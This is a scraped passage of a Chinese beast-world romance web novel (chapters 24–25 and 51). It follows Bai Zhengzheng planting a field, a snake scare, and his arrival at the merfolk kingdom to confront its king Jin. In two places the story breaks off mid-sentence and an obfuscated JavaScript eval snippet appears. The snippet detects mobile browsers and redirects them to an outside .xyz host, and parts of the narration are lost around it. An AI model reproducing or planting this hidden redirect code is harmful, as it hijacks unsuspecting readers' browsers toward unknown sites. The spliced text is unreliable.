烬在山洞里除了跟白争争说点话,其他一概没怎么交流过。即便是可可爱爱蹲在他身后的幼崽,烬也没开口。 雁主动问:“要帮忙吗?” 烬:“不用。” 他拎着湿哒哒的鱼又进山洞,直接将鱼用木棍串了,架在火堆上靠。 幼崽殷勤地将盐拿过来,乖巧蹲在他对面。 烬当他们饿了,想吃鱼,慢慢将火烧大了一点儿。 幼崽慢慢往他身边移动,歪着毛绒绒的脑袋眼巴巴看他。 歪了半晌,脖子都酸了也没见脑袋上放个手过来。 幼崽哼声,趴在地上。 烬扫了一眼,雁当即竖起耳朵。 结果烬道:“马上就好。”说完又专心烤鱼。 幼崽们气恼,转头就玩儿自己的去了。 用争争的话说,他们刚刚就是“抛着媚眼给瞎子看”。 24.第 24 章 西边。 吃过午饭后,白争争一行在深草中蹲守。 过了许久,那头跑丢的角兽又回来了。白争争道:“这次对准了……别再跑了。” 兽人们屏息,缓缓搭箭。 伴随着破风的声音,泛着利光的弓箭射出。噗嗤一下,穿透兽皮,鲜血飙射。 年不敢懈怠,迅速补箭。 角兽奔逃,兽人们一涌而出,风投掷着长矛,直冲水潭边的角兽。 画面太过血腥,已经采集够了野菜的清默默收回视线,将藤筐背起。 差不多了,该回去了。 角兽轰然倒在地上,兽人们当即上前用草绳将其拖拽到拉车上,连带着之前捕捉的两头中型食草兽一起带走。 回程的时间不够,兽人们紧赶慢赶,到山洞的时候也已经是半夜。 刚到洞口,白争争就看到高大的身影迎出来。 清几个看他冲着白争争来的,疲惫地扯了扯嘴角,越过他俩,先一步进山洞。 烬帮着搭了一把手,帮忙将角兽放在溪边。 “这么晚才回来。” 白争争甩了甩泛酸的胳膊,道:“那边太远了。” “明天还去吗?” “不去了。” 烬看了眼白争争的胳膊,“先进去,吃点东西。” “今天吃什么了?”白争争打起精神,问道。 烬:“鱼。” 白争争:“我们今天也吃的鱼。” 进了山洞,烬目光落在白争争脸上。 亚兽人头发微乱,额发微湿地贴在额前。眼里暗淡,无精打采的,似乎下一秒就要睡去。 烬没与他多说,守着他吃了东西,才起身出山洞。 带回来的野兽放在溪边,年几个兽人吃过已经在溪边处理了。 烬捡了一只野兽,放血去皮,在一旁帮忙。 忙到后半夜,大伙儿将兽肉搬进山洞,实在撑不住,滚动一趴就闭上了眼睛。 白争争强撑着将一个个林猫捡起来,放在石床。然后再绕到烬那边,手撑着石床,连脚都抬不起来,直直往前一扑。 烬扶了他一把。 白争争脑袋往他肩膀上一栽,闭上眼睛就呼吸绵长。 烬目光波动,将忘了变成兽形的亚兽人托抱到身侧放下。 他捏住他的手臂,细细揉捏,一直到火堆燃烬。 * 次日,除了精力旺盛的幼崽们。几个稍微年长的兽人无一例外都睡到日上三竿才起来。 白争争哈欠连连。 他叼着树枝,一边刷牙一边半闭着眼睛往溪边去。 幼崽晃晃悠悠跟在他身后,学着他迟缓的步子,支棱着大脑袋往前栽。 白争争在溪边停下,用碗舀水喝了一口,咕噜噜吐掉。 幼崽蹲在他左右两边,也跟着鼓了鼓腮帮子,然后踩着脏兮兮的脚丫子往他身上爬。 白争争熬了大半夜,脑袋还晕乎乎的。 他随手将猫崽子薅下来,放在一边,手掌重重地按了按他们脑袋。 “老实点儿。” “争争……” 白争争垂眸。 幼崽立马舔了舔嘴角,乖巧道:“吃角兽。” 白争争:“不是才吃过……” 早午饭那一顿,崽子们个个跟没吃过肉似的,狼吞虎咽,消耗了好大一块角兽肉。 “还想吃。”幼崽吸溜口水。 白争争:“想吃就吃吧。” 答应了幼崽们的要求,但他们还是蹲在身边不走。白争争知道他们这是黏人呢,任由他们跟着。 那头,清挖了一点洞外堆着的草木灰过来。年跟在他后头,端着一筐子还没处理的动物内脏。 幼崽们嗅到那味道,一哄而散。 白争争哼笑。 清道:“滚泥坑的时候怎么不见跑得这么快。” 白争争望了眼天空,阳光刺目。 “说的也是,等天气再好一点,该把幼崽抓来洗一洗。也不知道那毛毛里藏了多少灰。” 清笑了笑,将草木灰堆在石板上。 “争争,这些灰堆在门口也不行,风吹就跑。” 白争争看了眼道:“清,你看看有什么好种的野菜,咱们清出一块地试着种。” “种菜?”年利落地用刀片将兽肠子破开,堵着鼻子道,“野菜到处都是,要吃直接采集不就好了。” 清看白争争真有这个意思,他问:“争争怎么想着种菜?” 白争争道:“也不非得种菜,我倒想种点其他的但没有种子。” “其他什么?”年好奇问。 白争争道:“稻、麦,咱这边也没有啊。” 清跟年摇头。 他们也没听过,不知道白争争说的是个什么。 “长什么样?”清问。 白争争道:“就跟毛草一样,细长青绿的叶子,结的果实一穗一穗的,成熟了是黄色,去壳后是白色。干吃硬,要煮熟了才好吃。” 说着白争争就犯了馋。 他自己都没料到,穿到个兽世,自己最想念的食物居然是香喷喷的大米饭。 烬出来洞口就听到白争争说这话,脚步停下。 “王城有。”他道。 白争争吓了一跳,回看是烬,默默挪着靠近他。他眼里光亮闪烁,胳膊紧挨着烬,有些急切地推了推。 “真有啊?” “有。” “可我现在也去不了王城,咱就近的地方你知道哪里有种子吗?” 烬:“不知道。” 白争争也没失望。 这地方只要有就好,他早晚能吃上。 漱完口,白争争抄了铲子就往附近的空地去。 现在种点主粮不行,但他可以种菜。像平日用做调料的野葱、野蒜、有特殊味道的香草那些,烤肉也时时都要用。 空地在洞口不远处的半山坡上。 坡上树少,露出一片地能被阳光照射。不过碎石很多,白争争一点点将碎石翻出来绕着空地堆砌。 幼崽们蹦蹦跳跳过来,白争争看他们毛毛又沾上泥,干脆指挥道:“雁,带幼崽除草,草根也挖出来。” 幼崽吧唧一下坐地上。 脑袋一埋,对准个杂草就开始掏。 烬无事可做,拿了个骨锹过来帮忙。 林中树多,能找一片没树的空地不容易。这小山坡开出来的也不过四五平方。 白争争清理着碎石,烬帮着他用藤筐搬。 幼崽刨了一会儿草根,没多久就待不住,四处乱逛。 忙了一会儿,白争争撑着腰缓口气。 却见幼崽堆在一起,立在个巨大的石块边,爪子掏来掏去不知道找到了什么好玩意儿。 白争争本没当回事儿,却忽然看一个带着黑白纹路的长条东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15241199|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被甩至半空。 看清楚的那一瞬,白争争尾巴跟耳朵纷纷冒了出来,吓得他直接烬身上一蹿。 “雁!你们在玩儿什么?” 烬肩膀微沉,面颊一软。侧头就蹭在一团毛绒绒的小身子上。 他愣了下,看清落在地上的蛇,默默将白争争掉下来的兽皮衣捡起,再后退了几步。 幼崽被白争争一吼,顿时变成飞机耳,掩耳盗铃地背着他,爪子刨着泥土,飞快将还在冬眠的蛇用掩埋。 白争争狠狠吸了几口气,蹿下烬肩膀。 他一爪子一个幼崽,敲脑袋击得邦邦响。 跟前猫毛齐飞,幼崽嗷嗷叫。大一点的林猫避开那小土堆,追着幼崽使劲儿教训。 烬默默用骨锹将那小土堆扒开,在白争争看到之前,将蛇刨远。 这边的动静惊到来洞中其他兽人。 清甩着手上的水跑来,看白争争捶幼捶得起劲儿,凶神恶煞的,咽了咽口水,没忍住往后退了两步。 年默默戳了戳清的腰上道:“再打要傻了。” 清抓住他手指,将年往前一推。 年顿时僵立在白争争跟前,挡在了幼崽身边。 白争争横眼扫来。 年肩膀颤了颤,立即道:“争争,消消气,他们、他们做什么了?” 白争争又蹿上烬的肩膀,极力维持镇定道:“你问他们。” 烬却觉肩膀上的皮被小猫爪子勾了起来。 他大掌盖在白争争身上,示意年将幼崽带走。 年赶紧拎着幼崽跑了,顺带拉上清走远。 烬道:“我弄走了。” 过了会儿,白争争才动了动,软趴趴挂在他肩上。 “我没怕!”他不怎么硬气道。 烬抬手,让软软的爪垫落在掌心。 才刚成年,还小呢。 “你没怕。”他甚至比白争争还笃定。 白争争爪子捂脸,又抹了毛毛上一脸的泥。他跳在烬掌心,看着烬肩膀上的几个泥点,爪子蜷了蜷。 “脏了。” 烬看都不看,道:“擦了就没了。” 这比他对幼崽们都纵容。 白争争不好意思跳下去。 他勾了兽皮,去林子里换上。 走出来后,脸上红扑扑的,又闷头继续干活儿。 只一日,白争争就捡完了碎石,刨完了草根。 烬还帮忙给翻耕了一遍。 白争争将草木灰运过来,撒在地里,这地就算收拾得差不多了。 溪边。 白争争抓着一个个毛绒绒擦干净爪垫,又用兽皮给他们擦了擦毛毛,才放任幼崽跑了。 他洗净手,才往山洞走。 烬随在他身边,没多少话。 白争争后知后觉他跟了自己一天。 白争争看了烬一眼,烬也看来。他目光沉静,眼珠墨黑又有一抹红,没有一点不耐。 好像烬一直是这样。 安安静静,无欲无求的。 刚进山洞,就闻到一阵香味儿。清搅动着陶锅里的汤,幼崽在他面前蹲着,巴巴望着陶锅。 白争争笑问:“做什么好吃的了,这么香。” “蛇羹!”幼崽齐声答。 白争争动作一滞,幽幽盯着那些仰着脑袋装乖的幼崽。 “争争?”清试探。 白争争:“没事。” 25.第 25 章 白争争自认没多怕蛇。 在部落的时候,蛇也是他们的食物之一。 只是他今天忽然见到从天而降一条蛇,尤其是不知有没有毒,那群幼崽还不知道玩儿了多久,难免吓到了些。 这会儿坐在陶锅前,幼崽们蛇羹吃得香喷喷,白争争默默啃烤鱼。 蛇肉嫩,又补。 就一条蛇,紧着幼崽吃。 晚饭过后,幼崽被清领着出去刷牙洗脸,白争争将山洞里之前收拾出来的东西拿出来。 野蒜发芽了,香草也生了嫩根,白争争将其堆在一边,明早起来种。 * 海风吹得树影婆娑,阳光被挡在云层后,只露出一点残光。 野蒜这些刚种下去,地就占得差不多了。 洞口草木灰还堆着大半,幼崽经过,偷偷摸摸看一眼周围,那爪子偏要往里面踩上一脚。 顿时,黑灰四溅,看得白争争火大。 他将手上的铲子重重往地里一插,盯着那群小崽子。 幼崽警觉,见白争争回来,顿时收回爪子,一溜烟地跑了。 烬拎着藤筐,顺手将铲子扯出来。 “还要再清理一块地?” 洞内每天都烧着火,草木灰越积越多。那块地太小,消耗不完。 白争争:“坡上的地位置不好,树太多了,也种不了其他。等下午去河边看看。” 下午,天还是没什么阳光。 吃过饭,清跟州在溪边鞣制兽皮,白争争背着藤筐,跟烬一起去了河边。 河岸平坦宽阔,沉积下来的土层厚实又肥沃。边上没什么大树,只需要将草除去,便是一块适合种植的好地方。 白争争与烬一起,将河滩与山脚的这一片位置走完。 他问:“王城那边主食是稻还有麦?” 烬却道:“是紫皮根。稻跟麦虽然种植得不少,但每年收获很少,一般的部落都吃不上。” “你们种在哪里?” “稻种在王国山后的水地中,麦种在山坡上。有专门的兽人看管。” “怎么种?” “像你那样整理了土地,撒种子。” “不施肥?不除草?” 烬见亚兽人仰面,黑圆的眼中含着探究,小脸白净,不过他巴掌大。 烬失神一瞬,复又平静道:“这些我不清楚。” 白争争踩着脚下绵软的土地,有些叹息。 “可惜我没种子。” “现在想种?”烬问。 白争争:“现在肯定种不了,但我可以一点一点开垦出来。土地种点其他养个几年正好。” 烬道:“不是不在这里待多久。” 白争争道:“但待三五年应该还是要的。” 幼崽当中至少一半成年,白争争才敢将带着他们离开去找族人。 来时已经不易,回去又是长路迢迢,再来这么一遭,他怕幼崽受不住。 他有心稳定下来,那么种植是必须的。 白争争当即在河边规划出一块方正的土地,趁着春草还没长出太多,枯草正干,白争争示意兽人们沿着土块清理出一块隔离带。 随后一把火,将枯草烧尽。 今日风小,隔离带割得宽,又泼了水,只一会儿就烧了个干净。 灰烬浮动,腾空而上。 白争争面上被火烘烤着,微微转头,看向立在身侧的兽人。 春意浓,但没有阳光也并不算暖和。 烬只腰间围着兽皮,披着微卷的长发,目光注视着燃烧的烈火。风波不扰,立在这儿就给人一种安定感受。 “想什么?”烬注意到他的视线,侧头来问。 微红的发尾晃动,吸引了白争争的注意。他下意识勾了勾,又愣住,缓缓收回爪子。 兴许成了林猫兽人,总禁不住眼前有晃动的东西逗。 他稳了稳神,抬头看着烬那双深邃的眼睛道:“在想哪里能弄到种子。” “应该比较难。”烬勾着他手指,将一缕头发送到他手中。 白争争下意识捏住,又觉掌心酥麻,不好意思地低下头。 “为什么?”他不忘他的种子。 烬道:“王城的稻、麦很宝贵,种子也有限,王城外的部落都是些没实力的小部落,无法用银币换到。” “银币?”白争争怀疑自己听错了。 “你可以当做用地里一种矿石铸造的圆贝壳。是前代的王为了交易方便做出来的。” 白争争惊诧。 货币都有了! 这么说来,王城比自己想象中的发展得更好。 他下意识抓紧了手中的头发,触感太顺滑,又爱不释手摸了摸。 烬注意到亚兽人小动作不断的手,目光温和。 “但如果你想要,我可以去找找。” “回王城吗?” “王城太远,这边的大部落可能有。” 白争争看着燃烧殆尽的枯草,轻声道:“再说吧,今年还不着急。” 河边的地别的都好,就是草多。 枯草烧完,土里就剩草根。这些需要一一铲除,才好翻耕,施肥改土。 一个下午的时间也不过清理出没有枯草的空地,挖根的活儿还得慢慢做。 日落了,太阳倒从云层里出来,跃在海面,天空映红一片。 他们踏着晚霞归了洞中。 晚饭是幼崽们惦记的角兽肉。新鲜的肉肥瘦相间,切成薄片腌制,再放在刷了油的石板上烤。 不一会儿,肉片卷曲,肥肉微透,肉香彻底激发出来。 再将新鲜的水芹菜放上去,与肉片一裹,守在一旁的幼崽“嗷呜”一口包下,吃得满嘴流油。 白争争洗干净手,看陶锅里也炖着汤。 他问:“清,角兽还剩多少?” 清道:“剩一半,锅里的是蛇……” 白争争看那切得一段一段的肉,后退一大步。烬就在他身后,差点就被踩了脚。 他扶住白争争的手臂,将他稳住。 白争争疑惑:“又是哪儿来的蛇?” 清:“圆带头,几个幼崽抓的。” 白争争还没发作呢,圆滚滚的肉就滚过来,身子贴在他脚边软乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15245958|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“好吃,争争吃。” 白争争拎着小胖崽子起来,看他太重,又不得不用手托住他屁股。 “你少吃点吧,胖成球了。” 清见幼崽那分量,默默道:“是该少吃一点了。” “我不要!”少吃食物就是要了肉的命。 白争争将扑腾的幼崽放下,等年他们洗了手进来,各自拿了碗过来吃饭。 白争争看了眼白白的汤,犹豫了一下,将碗转向石板边。 清笑意温柔:“怕吃?” 白争争:“我怎么会怕!汤吃多了,改改口味儿。” 石板上不止有角兽肉,还有各种各样的嫩菜叶。 白争争吃了个饱,就有些昏昏欲睡。 他出去清理了一下,又摸了摸树枝上挂着的清他们鞣制过的兽皮,顺带取回去放火堆边烘着。 天气越来越暖和,幼崽总不能一直保持着兽形。 洞内现在兽皮不多,这些凑一凑,再多抓些野兽回来,才好给幼崽们一人分一块兽皮裙。 要有条件,最好再做个保暖的兽皮背心。 白争争一边想着这事儿,一边往石床爬。 掌心撑着微凉的地方,一看是鱼尾,白争争愣住。 正故作镇定抬头,移开手,却看烬投来的目光含着几分笑意。 他脑袋一埋,兽皮往下掉落,连带着里边裹着的小猫砸在烬尾巴上。 烬将小猫从兽皮里剥出来,掌心托着他放在自己胸口。 白争争蜷缩成球,慢悠悠打了个哈欠。 额前被轻轻抚摸着,小猫抬爪在半空中勾了勾。 烬将手指贴上去,就见亚兽人勾着他的手往肚子上扒拉。 直到前爪抱住他的手腕,脑袋抵着,才安分下来,昏昏沉沉就睡了过去。 烬掌心挨着他柔软的肚皮,一动不动。 睡在一起久了,亚兽人好像越来越放肆。 烬默默将他往上搂了搂,直到下巴按住猫脑袋,这才闭目。 …… 清晨,洞内叮铃哐啷一阵喧闹。 白争争闭着眼睛蜷缩在烬以前当靠背的干草旁,爪子勾了勾,勾了个粗粗长长的冰凉东西抱着。 本要再打个盹,爪垫反复贴着那抱着的东西摸了摸。 总觉得有些不对劲儿。 忽的,一股阴潮的味道进入鼻腔。 白争争睁眼,在看清自己抱的东西那一刹那,惊叫一声,毛触电般炸开。 烬匆匆跑来。 白争争一蹦而起,顿时一脑袋扎进他怀里,抖着爪子往他长发下钻。 清追进来,看着那石床上,默默用棍子挑起个长条。 他眉一压,后头的年又飞快抓了蛇往外跑。 幼崽们见势不对,四条腿儿乱蹬着,争先恐后跟着年往洞外走。 烬将发下的小猫抓出来,掌心盖住微微轻颤的身躯。 白争争爪子紧紧勾住烬的长发,肚子起起伏伏。紧接着,猛地一股脑拱出他手心,爪子拍在他肩膀,冲着洞口厉声吼道: “哪个小兔崽子把蛇扔床上了!” 50-60 第51章 第 51 章 负心鱼 从犬族部落出发, 林猫兽人们一边走一边养伤。 大半个月后,才远远看到海面。 白争争坐在食人鹰背上,手臂的兽皮已经取下。深可见骨的伤口恢复得很快,结的痂在慢慢脱落。 脖子上的青紫还有些, 但喉咙已经不疼了。 雁趴在白争争身边, 绒球四个幼崽坐在白争争腿上。见到海面的那一刻, 纷纷直起脑袋, 激动地在白争争腿上扒拉。 “到了吗?” “到了啊。” “海啊。” “海啊!” 白争争被幼崽的话逗笑。 年跟风驾驭着食人鹰过来, 年问:“争争, 我们直接在海边降落吗?” 眼看人鱼王国已经到了眼前, 白争争比以往更加谨慎。他道:“不着急, 先找个隐蔽的地方。” 年点头,压低二黑,去寻找合适的落脚处。 找到之后,冲着兽人们招招手,随即食人鹰滑翔着, 悄然落在一座小山背后。 小山不高, 植被却茂密。 兽人们落下, 转个身,不巧正对上旁边树洞里小憩的兽人。 兽人们吓了一跳,连滚带爬往食人鹰上攀。 兽人掀了掀眼皮,以为又是哪个不长眼睛的跑到他虎削的地盘来打扰。 却在见到是个白白净净的亚兽人时,翻身坐直,眼睛一亮。 白争争浑身绷紧,护在幼崽们身前。 幼崽炸着毛,颤颤巍巍,一个比一个努力。 “争争快上来!” 年跟清伸手, 白争争反手一抓。 眼见虎兽人爬起来,等不及白争争坐好,年就赶着食人鹰就飞高了。 虎削后知后觉,爬起来就追。边追边喊道:“别走啊!我不吃兽人!” 白争争没听清,只仿佛听到了一声虎啸。 震耳欲聋,只声音就令幼崽直往兽皮兜里钻。 白争争爬到食人鹰背上,顿时瘫软下去,捂着急跳的心脏。 “好险。” 年低下头,两耳朵冒出来,耷拉着。他反省道:“我再重新找。” 白争争摇了摇头,直接让食人鹰落在近海的树上。 从几十米高的树往海面看,碧波荡漾,海浪柔和地冲刷着沙滩。 远处夕阳正落,霞光万丈,隐隐可见海尽头一点陆地轮廓。 人鱼王国,就在眼前。 离环洲的中心越近,海上本该越繁忙。 兽人们藏在树丛里,远远看去,浮在海面上的“小岛”只是零星。 但海边有个部落。 那装饰了贝壳珊瑚的石头房子简朴好看,隐在林间,像一个巨大的村落。 白争争盘腿坐靠在树上,将地图打开。 他没记错,上面确实没有这个部落的标记。按照设想,他们现在应该落在一处无人的沙滩。 “地图画错了?”清看了眼道。 绒球蹲在白争争怀里,爪垫往兽皮地图上一踩,正好是他们所在的位置。 白争争:“黑羊兽人也一年没来了,或许有变化。” 清:“那我们换个地方?” “别走啊!”虎兽人嗓门敞亮。 兽人们低头一看,他已经找来,双手抱着他们所在的大树。身后跟来数十个虎兽人。 单是那强健的一只胳膊,就能将林猫抡飞出去。 幼崽都不用招呼,包着泪,急急忙忙往食人鹰的背上爬。 眼看林猫兽人要走,底下虎兽人喊道:“你们就是林猫,那个被人鱼王抛弃的……” 白争争看见那个开口的兽人被后头的虎兽人拽了一下,还傻呆呆的转头,捣了人家一肘子。 消息都传到这里了! 想必那边也知道了。 虎兽人的声音太大,跟喇叭似的,只一会儿,兽人们从四面八方陆续聚集过来。 甚至还有鸟兽人直接飞近,就落在白争争他们隔壁的树上。 一看数量,起码上百。 白争争哪里知道,这是飞进了兽人窝里了。他抬腿就要往食人鹰背上爬,鸟兽人一跃落下,一点都没距离感。 “你就是那个历经千难万险,怀着幼崽,过来找王算账的林猫亚兽人?” 白争争脚一滑。 险些就跌落下去。 幼崽们扑过来拉住他,白争争脚重新落在树枝上站稳,回身看着那鸟兽人。 他知道这些兽人是冲着什么来的了。 见白争争又不动了,隔壁树上的其他鸟兽人不知道什么叫做社交距离,纷纷飞过来扎堆,看着他肚子。 争争只觉肚皮凉幽幽的,下意识捂住。 鸟兽人又转向食人鹰背上的小崽子。 “哪个是你的幼崽?” 白争争:你们礼貌吗? 这些个兽人一个比一个壮实,两米高的比比皆是。 白争争一米七八,身材偏瘦,在他们面前就跟地里壮苗堆里的弱苗似的,不禁看。 偏偏兽人们也只是好奇问个问题,再止不住地打量着他们。 林猫兽人只能跟鹌鹑一样,瑟瑟发抖地蜷缩在一起。 白争争眼珠微动,随手将绒球捞起来道:“我的幼崽……在这里。” 绒球睁着无辜的大眼睛,划动了两下爪爪。 挣脱不开,好奇地看着眼前的鸟兽人。 羽毛是彩色的,黄绿相间。身子又胖又壮,爪子粗大,也不知道怎么飞起来的。 绒球乖乖“喵”了一身,兽人们被萌得心肝一颤,眼神更加灼热。 白争争吓得忙将绒球收回去搂住。 他本来就长得秀气漂亮,白白嫩嫩的又显小,兽人们看着心里唏嘘。 原来王喜欢这种的。 白争争怕他们动手,赶紧道:“我们是来找兽人的,他叫烬,你们知道他在哪里吗?” 亚兽人眼眶一红,眼里包着泪花。 鸟兽人面露同情。 “你们先下去,我们去通知人鱼。” 白争争扫了眼树上树下,兽人已经将他们包围了。这些兽人普遍比他们强壮,一个个跟泰山似的,一条腿能扫一大片。 他有些犹豫。 底下的兽人仰得脖子都酸了,却还见他不动,干脆往海边跑去。 这边已经是人鱼王国范围。 兽人们轻易不敢下海,因为海中就有人鱼在巡逻。 白争争还思量着要不要直接往人鱼王国冲算了,然后就看见一队人鱼从海里浮出来,焦急地冲着他们跑来。 “你就是白争争!”红发人鱼仰头问。 好吧,连自个儿名字都传开了。 戏还是得演,白争争绷着唇角,双眼含泪地颤了下。 “我终于、终于到了!” 幼崽们愣住,仰头看着他。 清赶紧一手捞一个幼崽,捂住眼睛。 幼崽还是不要看的好,免得学坏。 这一句话,说得人鱼拳头都硬了。 最近族里就在找那个抛弃了林猫伴侣的兽人,可他们将所有的人鱼都问了一遍,没有一个说是。 直到人鱼们亲自过来,听到兽人们口中议论的,居然是他们的王! 护卫长怎么话都没听完就说找人鱼! 不对,重要的不应该是他们的王抛弃了伴侣吗?! 人鱼都快抓狂了。 他们战战兢兢地将林猫从树上迎下来,用比对幼崽还小心的态度,友善地弯起嘴角,声音细细柔柔。 边上见识过人鱼是什么模样的兽人们齐齐颤了下,捂着最差点吐出来。 横着走的人鱼什么时候变了性。 “你就是白争争,找我们的王?” 白争争捂着眼睛,抽泣了下:“你们的王是叫烬?” 红发人鱼艰难道:“是。” 白争争带着哭腔“嗯”了声,“那应该是吧。” 他身上有伤,头发上还挂着树枝,风尘仆仆,被高高大大的兽人们衬托得一副凄惨样。 可把人鱼刺激得身躯一颤,脑子里跟浆糊似的。 怎么会呢。 他们的王怎么会是抛弃伴侣的兽人。 秋是悄悄被派出去寻找,并迎接烬回来的,大部分人鱼并不知道烬消失过。 而秋潜意识里就觉得自己的王只是在那边修养,伴侣什么的,他们冷冰冰的王能找到吗? 显然,护卫长在谣言都没听全的时候,就已经急匆匆地报告给了王。 然后在族里掀起了一场寻找抛妻弃子的坏人鱼的风暴。 现在,主角之一就在人鱼们面前。 但另一个,造成亚兽人这副凄惨模样的罪魁祸首,是他们的王! “你、你有什么能证明……” 白争争勾了下脖子上挂着的鳞片,小声道:“这是他给我的。” 看到那鳞片,人鱼们天都塌了! 他们不敢相信。 弯眼亚兽人是捡来的呢! 为了证明他们王的清白,他们必须将兽人带过去。 如此,白争争就这么误打误撞地靠着人鱼,过了海去。 至于那些围着他们的兽人,纯粹就是看热闹。还被人鱼恐吓了番,不许再传播这件事。 是真是假先不提,王的名声在他们心中比天大。 …… 人鱼王国依海而建。 海水就是天然的护城河,上头还有一圈连绵起伏,如卧龙般的巨大城墙。 比外面环绕的几圈陆地,环洲中心的人鱼王国格外的繁华。 只城门入口处,兽人进进出出。 兽人们从海面上岸,跟送他们过来的龟兽人道了谢,就呆立在原地,被一道城墙所震撼。 白争争看着古朴的城墙,仿佛看到了熟悉的古城景区。回想烬说过,那不知第几代的人鱼王与他同源,或许也多多少少对王国有所影响。 人鱼们不敢催促。 但又忍不住悄悄用余光打量白争争。 与他们想象的不一样,亚兽人好似来过人鱼王国,一点都不像其他这些兽人被惊到。 就好像眼前对兽人们来说是圣地的人鱼王国,在他眼里就跟寻常一样。 人鱼们握紧了长矛。 暗道:不愧是王的伴侣。 踏上烬的领地,白争争可以说已经松懈了大半。身边人鱼守着,他也安心,等着幼崽看完。 不过这是城门口,兽人来来往往。 他们见人鱼在他身边,又看五只食人鹰,漂亮亚兽人,还有一群幼崽。 完全符合最近城里流传的谣言。 找来了! 那个搅得人鱼族惴惴不安的亚兽人终于找来了! 他们不约而同地放慢脚步,状似不经意,眼神扫过去。又畏惧人鱼,想看不敢看,自以为隐蔽地打量。 白争争想到自己造的谣,又知道烬就在这围墙之中,忍不住心虚低头。 这不是形势所迫,烬应该不会生气的……吧。 在城门口停留着,白争争又想到族人。 他目光一扫,不像兽人们那样不敢看,大大方方地观察着。 这些兽人多半是附近部落的,手上都拿了东西。有虎兽人跟着个海洋兽人出来,走到海边,那兽人摇身一变,成了一只海豚。 虎兽人坐上去,转眼就离开了。 海面还有停留的龟族,像兽人们主要的海上通行兽人。 但打眼一看,没有林猫。 幼崽看够了,跑过来拉住白争争的手。 白争争不好意思对人鱼笑了笑,然后人鱼战战兢兢,面色发白,看得白争争丈二摸不着头脑。 什么意思? 往常只有别的兽人吓林猫的,哪有林猫吓别人。 进了城门,眼前骤然开阔。 围墙这条卧龙护卫着的,是排列整齐的房屋与街道。街道宽阔,如人类城市一般。 而最惹眼的,是宽阔的大道尽头,那座高高耸立的城堡。 白争争有一瞬的恍惚,好像只是出了个国。 但除了城堡,其他的建筑又将白争争拉回兽世。还是石头做的小房子,但用了海里的漂亮贝壳、石头之类的做装饰。 有些房子上顶着巨大的完整一块鱼骨头,很有海洋风格。 王国里一眼望不到头,街上兽人往来,要不是那些毛绒耳朵,大尾巴,尖角,谁能想到这是在兽世。 白争争的出现并未引起兽人们的注意。 兽人太多了,密密麻麻,白争争不得不将幼崽牵紧了。 人鱼在前边带路,无时无刻不谨慎关注着后头的林猫。 王国里并未白争争想象中的处处是人鱼,旁的兽人倒是很多。 有立在街旁售卖宝石的,有拖家带口闲游的,还有凶悍地抓着自家伴侣骂骂咧咧,也不知道为什么事生了气。 就像赶集一样。 白争争跟着人家脚后跟,慢慢往前移动。 过了城门口,稍稍松快了,白争争低头看了眼幼崽。 忽然前面一阵风过,白争争胳膊一疼,一个猫兽人朝着他摔过来。 白争争松开幼崽,被兽人撞得趔趄。 后头的兽人上前,抵住白争争后背,才没让他摔倒。 人鱼回头,忙立在白争争身边。 正要将那猫兽人拉起来,白争争注意到他耳朵,手猛然一紧。 “没事吧。” 小亚兽人听到温和的声音,慢慢抬头。他红着眼睛,怀里还抱着东西。 有一股草药的味道。 “没、没事。” 幼崽本来生气,但忽然围上来,一爪子勾住亚兽人的兽皮裙。 “林猫!” 亚兽人轻颤,面露惊惧。 白争争摸着他手臂,极瘦,全身仿佛只剩一副骨架挂着皮。 他仔细瞧着兽人的脸,却发现是个陌生的兽人。 “林猫,这里还有其他林猫……” 亚兽人忽然瞪大眼睛,害怕地直接挣扎,顷刻间钻入人群,消失在了白争争的视线中。 白争争有些失态。 幼崽们只在这里见到了林猫觉得亲切,可看白争争似乎有些失落…… “争争?”绒球抓着他的手,仰起小脑袋。 小不点儿满一岁之后,就喜欢变人形了。小胳膊腿儿短短粗粗,走起路来跟胖企鹅一样,很是可爱。 白争争笑了下:“没事。” 幼崽还在,这事儿现在不好开口。白争争牵起他们的手,继续跟着人鱼。 行至城堡,几个送他们过来的人鱼与门口的交接。 紧接着,白争争就看到了城堡内一个高大的金发人鱼出来,身后跟着一蓝一红两个人鱼。 “是你们?” 幼崽先认出来,那一蓝一红两个人鱼就是之前守在他们部落的两条人鱼。 而为首那个,就是把烬带走的秋! 秋:“你们来干什么?”他有些防备。 王好不容易回来,林猫找来,难道想将他们的王带走! 白争争:“找烬!” 都见到熟人了,白争争一点也不装了。 秋道:“你们说的那个人鱼抛弃的伴侣,就是他?” 送白争争过来的人鱼们点点头。 秋:“不可能!” 白争争:“你带我进去不就知道了。” 秋转头:“走。” 他倒要看看,这兽人污蔑王会是什么下场。 白争争让幼崽们在外面等他,跟着秋进去。 “王!人鱼抛弃伴侣的事情有眉目了,原是这个林猫……” 秋都没说完,就见边上的林猫气势汹汹地撇开他,闯进去,指着他们王的鱼尾巴道:“负心鱼!” 秋目瞪口呆。 等等,等等! 亚兽人说什么? 兽神在上!王真的是渣鱼! 烬猝不及防看到日夜思念的伴侣出现在眼前,愣了愣,反应过来,手臂已经将他抱起坐在鱼尾上。 白争争激动得猫耳都跑出来,直颤。 烬赶忙卷起鱼尾,被白争争习惯性地一把抱住。 